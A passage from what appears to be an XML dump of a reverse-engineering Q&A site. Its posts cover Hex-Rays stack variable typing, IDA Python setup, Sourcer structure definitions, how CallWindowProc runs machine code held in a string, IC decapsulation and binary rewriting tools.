bytes.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked and time_t is defined as&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-00016080 var_16080       dd 6 dup(?)             ; offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it thinks it's 4 bytes x 6 which would be 24 bytes? why does it think that? Yes I get that &lt;code&gt;var_16080&lt;/code&gt; when I click on the &lt;code&gt;time_t&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is where I get confused I think it's really 8 bytes and all I have to do is make it &lt;code&gt;time_t v374[2]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ARENA *a5[2]; looks right 2 pointers of 4 bytes. = 8 bytes and the int after looks right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how what to do in certain hard cases if I have to do it all manually I would do it.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if there is a way to automate this I'd also appreciate that if anyone can tell me of a plugin or a script to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I got it down to is it right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int v369; // [sp+14h] [bp-1607Ch]@351&#xA;  int v370; // [sp+14h] [bp-1607Ch]@525&#xA;  int v371; // [sp+14h] [bp-1607Ch]@598&#xA;  char *v372; // [sp+14h] [bp-1607Ch]@644&#xA;  int v373; // [sp+14h] [bp-1607Ch]@668&#xA;  char v374[16]; // [sp+18h] [bp-16078h]@1&#xA;  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63&#xA;  int v376; // [sp+30h] [bp-16060h]@69&#xA;  int v377; // [sp+34h] [bp-1605Ch]@61&#xA;  char ExitCode[7]; // [sp+38h] [bp-16058h]@233&#xA;  char v379; // [sp+3Fh] [bp-16051h]@420&#xA;  size_t Size; // [sp+40h] [bp-16050h]@69&#xA;  int v381; // [sp+44h] [bp-1604Ch]@233&#xA;  int v382; // [sp+48h] [bp-16048h]@69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bit lower you see this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  __int16 v385; // [sp+51h] [bp-1603Fh]@527                   2&#xA;  int v386; // [sp+53h] [bp-1603Dh]@527               53-51 = 2 up [4]&#xA;  int v387; // [sp+57h] [bp-16039h]@527               57-53 = 4 up [4]&#xA;  __int16 v388; // [sp+5Bh] [bp-16035h]@527           5B-57 = 4 up [2]&#xA;  __int16 v389; // [sp+5Dh] [bp-16033h]@527           5D-5B = 2 up [3] ???&#xA;  int v390; // [sp+60h] [bp-16030h]@233               60-5D = 3 up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is that one 3 bytes when it's a &lt;code&gt;__int16&lt;/code&gt; or is it a &lt;code&gt;char[3]&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I translated it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int v386; // [sp+53h] [bp-1603Dh]@527&#xA;  int v387; // [sp+57h] [bp-16039h]@527&#xA;  __int16 v388; // [sp+5Bh] [bp-16035h]@527&#xA;  char v389[3]; // [sp+5Dh] [bp-16033h]@527&#xA;  int v390; // [sp+60h] [bp-16030h]@233&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it does something like this in code, so it must of been &lt;code&gt;__int16&lt;/code&gt; after all. Maybe it's a &lt;code&gt;__int16&lt;/code&gt; followed by a &lt;code&gt;char&lt;/code&gt; after, but you can't do that in Hex-Rays afaik.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                *(_WORD *)v389 = v236;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay it's highly unpredictable and I don't think I can rely on the &lt;code&gt;[so+###h]&lt;/code&gt;'s too much just in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get it down to this, but it has problems all over the place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trimmed off the top stuff that didn't change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  char *v351; // [sp+4h] [bp-1608Ch]@668&#xA;  const char *v352; // [sp+8h] [bp-16088h]@668&#xA;  char *v353; // [sp+Ch] [bp-16084h]@52&#xA;  char *v354; // [sp+Ch] [bp-16084h]@351&#xA;  char *v355; // [sp+Ch] [bp-16084h]@598&#xA;  char *v356; // [sp+Ch] [bp-16084h]@644&#xA;  int v357; // [sp+Ch] [bp-16084h]@668&#xA;  const char *v358; // [sp+10h] [bp-16080h]@52&#xA;  char *v359; // [sp+10h] [bp-16080h]@57&#xA;  char *v360; // [sp+10h] [bp-16080h]@218&#xA;  const char *v361; // [sp+10h] [bp-16080h]@351&#xA;  int v362; // [sp+10h] [bp-16080h]@525&#xA;  const char *v363; // [sp+10h] [bp-16080h]@598&#xA;  const char *v364; // [sp+10h] [bp-16080h]@644&#xA;  int v365; // [sp+10h] [bp-16080h]@668&#xA;  int v366; // [sp+14h] [bp-1607Ch]@52&#xA;  char v367; // [sp+14h] [bp-1607Ch]@54&#xA;  char v368; // [sp+14h] [bp-1607Ch]@218&#xA;  int v369; // [sp+14h] [bp-1607Ch]@351&#xA;  int v370; // [sp+14h] [bp-1607Ch]@525&#xA;  int v371; // [sp+14h] [bp-1607Ch]@598&#xA;  char *v372; // [sp+14h] [bp-1607Ch]@644&#xA;  int v373; // [sp+14h] [bp-1607Ch]@668&#xA;  char v374[16]; // [sp+18h] [bp-16078h]@1&#xA;  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63&#xA;  int v376; // [sp+30h] [bp-16060h]@69&#xA;  int v377; // [sp+34h] [bp-1605Ch]@61&#xA;  char ExitCode[7]; // [sp+38h] [bp-16058h]@233&#xA;  char v379; // [sp+3Fh] [bp-16051h]@420&#xA;  size_t Size; // [sp+40h] [bp-16050h]@69&#xA;  int v381; // [sp+44h] [bp-1604Ch]@233&#xA;  int v382; // [sp+48h] [bp-16048h]@69&#xA;  int v383; // [sp+4Ch] [bp-16044h]@69&#xA;  char v384; // [sp+50h] [bp-16040h]@527&#xA;  __int16 v385; // [sp+51h] [bp-1603Fh]@527&#xA;  int v386; // [sp+53h] [bp-1603Dh]@527&#xA;  int v387; // [sp+57h] [bp-16039h]@527&#xA;  __int16 v388; // [sp+5Bh] [bp-16035h]@527&#xA;  char v389[3]; // [sp+5Dh] [bp-16033h]@527&#xA;  int v390; // [sp+60h] [bp-16030h]@233&#xA;  char array1[32]; // [sp+64h] [bp-1602Ch]@157&#xA;  char array2[256]; // [sp+84h] [bp-1600Ch]@52&#xA;  char Dest[256]; // [sp+184h] [bp-15F0Ch]@69&#xA;  char Str1[64]; // [sp+284h] [bp-15E0Ch]@153&#xA;  char AppName[64]; // [sp+2C4h] [bp-15DCCh]@76&#xA;  char buf[512]; // [sp+304h] [bp-15D8Ch]@45&#xA;  char StartupInfo[256]; // [sp+504h] [bp-15B8Ch]@163&#xA;  char v398[512]; // [sp+604h] [bp-15A8Ch]@741&#xA;  char v399[8192]; // [sp+804h] [bp-1588Ch]@638&#xA;  char v400[80000]; // [sp+2804h] [bp-1388Ch]@543&#xA;  int v401; // [sp+16084h] [bp-Ch]@1&#xA;  int (*v402)(); // [sp+16088h] [bp-8h]@1&#xA;  int v403; // [sp+1608Ch] [bp-4h]@1&#xA;  const char *Buf1b; // [sp+160A0h] [bp+10h]@485&#xA;  const char *Buf1a; // [sp+160A0h] [bp+10h]@489&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems all the array/buffers are only found at the bottom of all the variables all of them are buffers completely (maybe it's just the type of compiler / optimizer this program used). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder what If it probably reuses all the buffers as just one big buffer?&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-04-22T09:16:51.410" LastActivityDate="2014-04-22T09:16:51.410" Title="IDA PRO repairing stack variables / local variables hex-rays with arrays and proper types / structures any scripts/plugins?" Tags="|ida|ida-plugin|local-variables|stack-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4118" PostTypeId="1" CreationDate="2014-04-22T04:03:53.197" Score="10" ViewCount="1128" Body="&lt;p&gt;Could you explain to me the information provided after the &lt;code&gt;@&lt;/code&gt; symbol in Hex-Rays decompilation ? For examples &lt;code&gt;@1&lt;/code&gt; and &lt;code&gt;@5&lt;/code&gt; in the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct WSAData wsadata; // [sp+0h] [bp-1A0h]@1&#xA;int v6; // [sp+198h] [bp-8h]@5&#xA;int v7; // [sp+19Ch] [bp-4h]@5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wB4ct.png&quot; alt=&quot;Hexrays Decompilation: Variable Declarations&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="53" LastEditDate="2014-04-22T09:50:55.607" LastActivityDate="2014-04-22T09:50:55.607" Title="Information provided by Hex-Rays after @ symbol in variable declarations" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4119" PostTypeId="2" ParentId="4117" CreationDate="2014-04-22T04:32:32.600" Score="7" Body="&lt;p&gt;I'm not sure that it is possible to answer this question without seeing all the function because correctness of local variable type recovery can be done only by understanding of the context where variables are used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd suggest the following algorithm for dealing with local variables &#xA;in Hex-Rays:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As your friend said, do nothing with variables allocated on the registers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For all other variables allocated on the stack, do the following:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look where this variable is used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you see one of patterns below, act accordingly, but press F5 after each change and review results. Remember, you can revert each type back by pressing Y and entering previous type on it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you see usage of some &lt;strong&gt;different&lt;/strong&gt; offsets relative to this variable it may be a structure. Try to create one by right-click on the variable and choosing corresponding menu item. Usage of this variable as function parameter or other connections to already known types may give you a hint about type of the variable. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you see not constant offsets (such as offset in another variable) it can be array. Press asterisk (*) on the variable, IDA will suggest the length of the array, it does it relatively good.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you see both of those patterns, it is possibly array of structures or more complicated case like array of structures in structure which is member of array and vice versa :) In this case try to find a smallest structure/array and start with it.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At all, there are the following possibilities to affect the function stack in Hex-Rays:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Changing variable type (press y on the variable, enter type) &lt;/li&gt;&#xA;&lt;li&gt;Making variable an array (press * on it) &lt;/li&gt;&#xA;&lt;li&gt;Creating new structure&#xA;type on a variable basis (Right click on the variable, corresponding&#xA;menu item)&lt;/li&gt;&#xA;&lt;li&gt;Undefining a variable: Doubleclick on stack variable&#xA;will open stack function stack window. Pressing u on a variable will&#xA;undefine it. &lt;/li&gt;&#xA;&lt;li&gt;Merging a variable: if you see that two different&#xA;variables are actually the same you can press = and tell to the&#xA;decompiler that they are really the same. AFAIR it works in IDA 6.5&#xA;and IDA6.5&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Don't forget to refresh the decompiled code view by pressing F5 after each change to see results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way,  there is one point you are probably missing:&#xA;IDA and HexRays can make more than one variable on the same place in stack, &#xA;so v369, v370, v371, v372, v373 are using same place in the stack, but are different variables from decompiled code point of view.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-04-22T04:43:27.757" LastActivityDate="2014-04-22T04:43:27.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4121" PostTypeId="2" ParentId="4118" CreationDate="2014-04-22T09:43:43.430" Score="8" Body="&lt;p&gt;The numbers denote the basic block number in the microcode where the variable was first used. Microcode basic blocks do not necessarily match the basics block in the disassembly, because during optimization steps the microcode basic blocks may be split, merged, added, or removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see some samples of microcode in Ilfak's &lt;a href=&quot;http://www.hex-rays.com/idapro/ppt/decompilers_and_beyond_white_paper.pdf&quot;&gt;whitepaper on the decompiler&lt;/a&gt; or in some of the old blog posts: &lt;a href=&quot;http://www.datarescue.com/laboratory/vd.htm&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;http://www.hexblog.com/?p=39&quot;&gt;2&lt;/a&gt; (block number is the first number on the line).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-04-22T09:43:43.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4123" PostTypeId="2" ParentId="3931" CreationDate="2014-04-22T23:44:40.940" Score="4" Body="&lt;p&gt;I've run into the same issue - everything worked fine on Windows, with oddness on OSX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Igor mentions in the comment above, running sys.path in the IDA interpreter showed that although the default Python interpreter for the OS (&lt;code&gt;/usr/bin/python&lt;/code&gt;) was 2.7, IDA is using python 2.6 (seems OSX has python 2.5 through 2.75 installed, because... reasons/masochism/other).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invoking the &lt;code&gt;pip&lt;/code&gt; installer with Python-2.6, and afterwards running pip-2.6 to install your libraries should fix the issue, although it would be nice if IDA used the system default Python interpreter in this instance.&lt;/p&gt;&#xA;" OwnerUserId="4433" LastEditorUserId="53" LastEditDate="2014-04-23T07:32:44.377" LastActivityDate="2014-04-23T07:32:44.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4124" PostTypeId="2" ParentId="4060" CreationDate="2014-04-22T23:46:30.800" Score="1" Body="&lt;p&gt;For defining data structures use the same format like all other referances  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;viz &lt;code&gt;seg:off ds,&amp;lt;options&amp;gt; label,comment&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;define your structure details one line per item below DS &lt;code&gt;without seg:offset&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SR normally creates a file &lt;code&gt;&amp;lt;infile.SDF&amp;gt;&lt;/code&gt; with sdf extension &lt;code&gt;(sourcer default definition file)&lt;/code&gt;&lt;br&gt;&#xA;copy paste that file as &lt;code&gt;&amp;lt;infile.def&amp;gt;&lt;/code&gt; and start modifying it to suit the needs.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c:\&amp;gt; sr foo.com (define your prefs for assembler etc here and press g)  &#xA;c:\&amp;gt; ren foo.sdf foo.def  &#xA;c:\&amp;gt; edit foo.def  &#xA;&#xA;seg_a:3127   da, r 0D                  ; data_137  &#xA;seg_a:3157   da, r 55    somesymbol   ;  &#xA;seg_a:31AC   ds, r 0020  MyStruct     ;// struct defined here (Array of 0x20 structs)  &#xA;             dd, c 4     int blah     ; member 1  // need foo.rem file for comments  &#xA;             dw          short foo    ; memeber 2  &#xA;             dw          short yaa    ; member 3  &#xA;             da, r 6     pathname     ; member 4  &#xA;             dd          magic        ; member 5  &#xA;seg_a:3BB0   da, r 29                 ; data_185  &#xA;&#xA;alt+f alt+ s   &#xA;&#xA;c:\&amp;gt; sr foo.def   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output (comments are from foo.rem file (you will have a sample file testyn.rem in your installation copy paste rename foo.rem and edit that file if you need comments)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;grep -i -A 20 &quot;This is mystruct&quot; Foo.LST  &#xA;&#xA;3BC5:31AC  B9F9 0008            int             dd      8B9F9h&#xA;; This is mystruct    &#xA;;  defined as    &#xA;;  typeded struct _MYSTR    &#xA;;  {    &#xA;;  ulong    &#xA;;  short    &#xA;;  short    &#xA;;  char[06]    &#xA;;  ulong    &#xA;;  }Mystr, *PMystr;&#xA;3BC5:31B0  45E8                 short           dw      45E8h&#xA;3BC5:31B2  E8F5                 short           dw      0E8F5h&#xA;3BC5:31B4  10 FC E8 C6 EC E8    pathname        db      10h, 'ⁿΦ╞∞Φ'&#xA;3BC5:31BA  DB84 B800            magic           dd      0B800DB84h&#xA;3BC5:31BE  0006 36E8            int1            dd      36E80006h&#xA;3BC5:31C2  E8F0                 short1          dw      0E8F0h&#xA;3BC5:31C4  F5A7                 short1          dw      0F5A7h&#xA;3BC5:31C6  B9 08 00             pathname1       db      '╣', 8, 0&#xA;3BC5:31C9  E8 2C F5                             db      'Φ,⌡'&#xA;3BC5:31CC  61E8 B9FA            magic1          dd      0B9FA61E8h&#xA;3BC5:31D0  0008 23E8            int2            dd      23E80008h&#xA;&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-04-22T23:46:30.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4125" PostTypeId="1" AcceptedAnswerId="4126" CreationDate="2014-04-23T08:35:55.270" Score="3" ViewCount="950" Body="&lt;p&gt;I recently came across a script that would read a file into a string, then do the equivalent of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CallWindowProc((pointer to string), (pointer to encrypted string), (length of encrypted string), 0, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the scripting language to decrypt an encrypted string defined earlier in the file. What's going on here? How did the call to &lt;code&gt;CallWindowProc&lt;/code&gt; decrypt the string?&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2014-04-23T08:35:55.270" Title="What does this call to CallWindowProc do?" Tags="|windows|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4126" PostTypeId="2" ParentId="4125" CreationDate="2014-04-23T08:35:55.270" Score="4" Body="&lt;p&gt;Normally, the first parameter to &lt;code&gt;CallWindowProc&lt;/code&gt; would be a function pointer. &lt;code&gt;CallWindowProc&lt;/code&gt; treats the pointer to the string as a function pointer, and calls it. As long as the heap that the string exists in is executable, it will be executed as if it were machine code. The other four parameters passed to &lt;code&gt;CallWindowProc&lt;/code&gt; are also passed to the function pointer, and can be used by the machine code however it's designed. In this case, it looks like the machine code your script is loading is a decryption subroutine. Try looking at the machine code in a disassembler.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2014-04-23T08:35:55.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4128" PostTypeId="1" AcceptedAnswerId="4131" CreationDate="2014-04-23T13:35:16.920" Score="3" ViewCount="347" Body="&lt;p&gt;I am on the hunt for several ICs by searching for the markings on them. But sometimes the markings are just too vague and I cannot really guarantee that the IC I found is the IC I am looking for. I know that some manufacturers place a logo or something equivalent on the die itself, and that it is possible to X-Ray the package in order to see the bare die.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there any home-made (preferably cheap) alternative to the X-Ray method?&lt;/p&gt;&#xA;" OwnerUserId="4250" LastEditorUserId="53" LastEditDate="2014-04-23T14:06:53.560" LastActivityDate="2014-04-24T19:49:58.097" Title="Any Home Made Alternatives to X-Ray ICs?" Tags="|integrated-circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4129" PostTypeId="1" CreationDate="2014-04-23T15:28:48.237" Score="1" ViewCount="1544" Body="&lt;p&gt;This question is related to &lt;a href=&quot;https://stackoverflow.com/questions/23246560/my-site-with-recaptcha-is-pulling-google-com-js-th-something-js-am-i-being-hack&quot;&gt;another question&lt;/a&gt; made on StackOverflow.&lt;/p&gt;&#xA;&lt;p&gt;The users ask about an unknown JavaScript file which is being loaded on his website.&#xA;I managed to unroll a bit of the JavaScript file, which you can find &lt;a href=&quot;http://pastebin.com/Cu81tyaN&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is there any technique to approach this code? Or it has to be done totally manual? I'm very intrigued about what this script do...&lt;/p&gt;&#xA;&lt;p&gt;I tried to debug as much I could, but this is probably the most complex obfuscation I have seen.&lt;/p&gt;&#xA;" OwnerUserId="4440" LastEditorUserId="37138" LastEditDate="2021-12-26T00:24:03.353" LastActivityDate="2022-05-25T03:02:20.340" Title="Suspicious obfuscated JavaScript file" Tags="|deobfuscation|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4130" PostTypeId="2" ParentId="3473" CreationDate="2014-04-23T15:58:12.050" Score="7" Body="&lt;p&gt;I actually don't think that there was any mix up. In fact, there exist two disassembly techniques : static &amp;amp; dynamic. The definitions provided here come from this 2003 publication on code obfuscation : &lt;a href=&quot;http://www.cs.arizona.edu/solar/papers/CCS2003.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.cs.arizona.edu/solar/papers/CCS2003.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Static disassembly&lt;/strong&gt; is where the file being disassembled isn't executed during the course of disassembly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic disassembly&lt;/strong&gt; is where the file is being executed on some input and the execution is being monitored by an external tool (debugger, ...) to identify the instructions being executed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This link (&lt;a href=&quot;http://www.maqao.org/publications/madras_techreport.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.maqao.org/publications/madras_techreport.pdf&lt;/a&gt;) provides an interesting coverage of techniques used by some disassemblers &amp;amp; binary instrumenters. Though it is not exhaustive and doesn't directly answer your question, you'll find more references to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About dynamic &amp;amp; static binary analysis, these  two techniques are mainly performed for profiling applications. The purpose is to acquire information about hot spots, memory access patterns, ... &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;static analysis&lt;/strong&gt; is usually based on analyzing the program without the need to execute it. It is mostly based on finding patterns, counting memory references, ... The Wikipedia page about &lt;em&gt;Static program analysis&lt;/em&gt; is, from my point of view, incomplete but still a good read.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;dynamic analysis&lt;/strong&gt;, on the other hand, involves executing the program and requires instrumentation of basic blocks such as loops, functions, ... The instrumentation consists of inserting probes at the entry and exit of a basic block which will measure the time according to a certain metric (CPU cycles, time in µs, ...). The information gathered after analysis is usually used to optimize the application by performing loop unrolling with a suitable unroll factor, vectorization if possible (SSE, AVX, Altivec, ...), etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many tools perform both the latter techniques : Intel's VTune, MAQAO, DynInst, gprof, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I myself have written a &lt;strong&gt;GCC&lt;/strong&gt; plugin, which you can find on my Github under the path &lt;strong&gt;/yaspr/zebuprof&lt;/strong&gt;, which does instrumentation at the source level and performs static &amp;amp; dynamic analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this clarifies things a bit.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-04-23T15:58:12.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4131" PostTypeId="2" ParentId="4128" CreationDate="2014-04-23T18:15:44.740" Score="4" Body="&lt;p&gt;I'm far from an authoritative source but I've personally never seen x-rays being used to identify anything but defects or bad joints under BGA chips. I don't think x-rays would be a good fit here because the die is extremely likely to appear like a solid blob with possibly the bonding wires visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cheapest way I know of to accomplish what you want to do is by grinding, usually called polishing, the chip using a very very fine sandpaper or abrasive surface to remove the packaging and different metal layers. In your case you probably only want to remove the protective polymer. If you go this route you need to take extreme care when it comes to aligning the chip and the grinding surface so that your material removal isn't slanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other, and similarly cheap, method is a chemical etch, also called wet etching. This is usually very dangerous though if you're not very careful and make damn sure that your ventilation is good. It usually involves nitric or sulphuric acid. I won't discuss it in detail here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an overview of different techniques please see &lt;a href=&quot;http://siliconpr0n.org/wiki/doku.php?id=decap%3astart&quot; rel=&quot;nofollow&quot;&gt;siliconpr0n's article on decapsulation&lt;/a&gt;. t4f has a decent article on low cost &lt;a href=&quot;http://www.t4f.org/articles/ultra-low-cost-ic-decapsulation/&quot; rel=&quot;nofollow&quot;&gt;decapsulation using a chemical etch&lt;/a&gt;. Siliconzoon has &lt;a href=&quot;http://siliconzoo.org/tutorial.html&quot; rel=&quot;nofollow&quot;&gt;a nice tutorial&lt;/a&gt; for the very basics of understanding what you're looking at once you've decapsulated, polished and imaged the metal layers of your ICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not hell bent on doing it on your own there's a number of companies that offer decapsulation services for you. Usually this service doesn't have to be very expensive due to them using automated decapsulation machines, usually by so called jet etching. They usually send you the decapsulated sample for analysis. There's probably services out there willing to take high resultion, high magnification pictures of the various metal layers for you as well. My recommendation would be to send a sample to one of these firms, it will cost you less than 100 USD, you're very likely to get a working sample back and it also has the highest success to chemical burn ratio.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-23T18:56:16.600" LastActivityDate="2014-04-23T18:56:16.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4133" PostTypeId="2" ParentId="3800" CreationDate="2014-04-23T20:24:10.940" Score="10" Body="&lt;p&gt;Your question is very interesting, though, not really new. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people already use what we call binary rewriting for profiling purposes. For example &lt;strong&gt;DynInst&lt;/strong&gt; &amp;amp; &lt;strong&gt;MAQAO&lt;/strong&gt; do that to profile applications in order to locate bottlenecks in basic blocks. Now the question you'll probably be asking yourself is how is it done ? Simple. Most available disassemblers like &lt;em&gt;objdump&lt;/em&gt;, &lt;em&gt;objconv&lt;/em&gt;, &lt;em&gt;IDA&lt;/em&gt;, etc. work in standalone mode and usually print an instruction on disassembly, but others like &lt;em&gt;udis86&lt;/em&gt; &amp;amp; &lt;em&gt;distorm&lt;/em&gt; offer an API to access the disassembled code in addition to being available in standalone mode.&#xA;But, what &lt;strong&gt;DynInst&lt;/strong&gt;, &lt;strong&gt;MAQAO&lt;/strong&gt;, and most binary rewriting tools do is disassemble a binary file and insert probes wherever it is appropriate in the data structure before reassembling the binary. Thus all necessary changes related to addresses, branches, context saving, and so on are handled properly before reassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you must know is that it is extremely hard to write such tools. The first challenge is to write a reliable disassembler. This of course implies choosing a disassembly algorithm (linear sweep vs. recursive traversal), separating the instructions from the data (they can be mixed - shellcodes for example), and so on. Then comes the second challenge, patching the disassembled code. This is extremely tricky and I'll point out this document which should be of great help : &lt;a href=&quot;http://www.maqao.org/publications/techreports/madras_techreport.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.maqao.org/publications/techreports/madras_techreport.pdf&lt;/a&gt;. &#xA;It has been written by the author of the disassembler used in &lt;strong&gt;MAQAO&lt;/strong&gt; (&lt;em&gt;MADRAS&lt;/em&gt; - &lt;em&gt;Multi Architecture Disassembler Rewriter and Assembler&lt;/em&gt;). The interesting part about this documents is the references (over 50 and extremely helpful) and the appendices which describe the algorithms used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I'm not really acquainted with neither &lt;strong&gt;MAQAO&lt;/strong&gt; nor &lt;strong&gt;DynInst&lt;/strong&gt; I would recommend you checking publications around them (documentation, scientific papers, ...). I would also recommend you checking &lt;strong&gt;PEBIL&lt;/strong&gt; (PMaCs Efficient Binary Instrumentation Toolkit), Intel's &lt;strong&gt;PIN&lt;/strong&gt;, &lt;strong&gt;Valgrind&lt;/strong&gt;, &lt;strong&gt;PLTO&lt;/strong&gt;, &lt;strong&gt;Elfsh/ERESI&lt;/strong&gt;, and &lt;strong&gt;Etch&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these tools perform binary rewriting &amp;amp; patching extensively and I believe are good examples of how binary rewriting can be approached. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my answer will help you find what you were looking for. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2018-10-14T20:02:45.360" LastActivityDate="2018-10-14T20:02:45.360" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
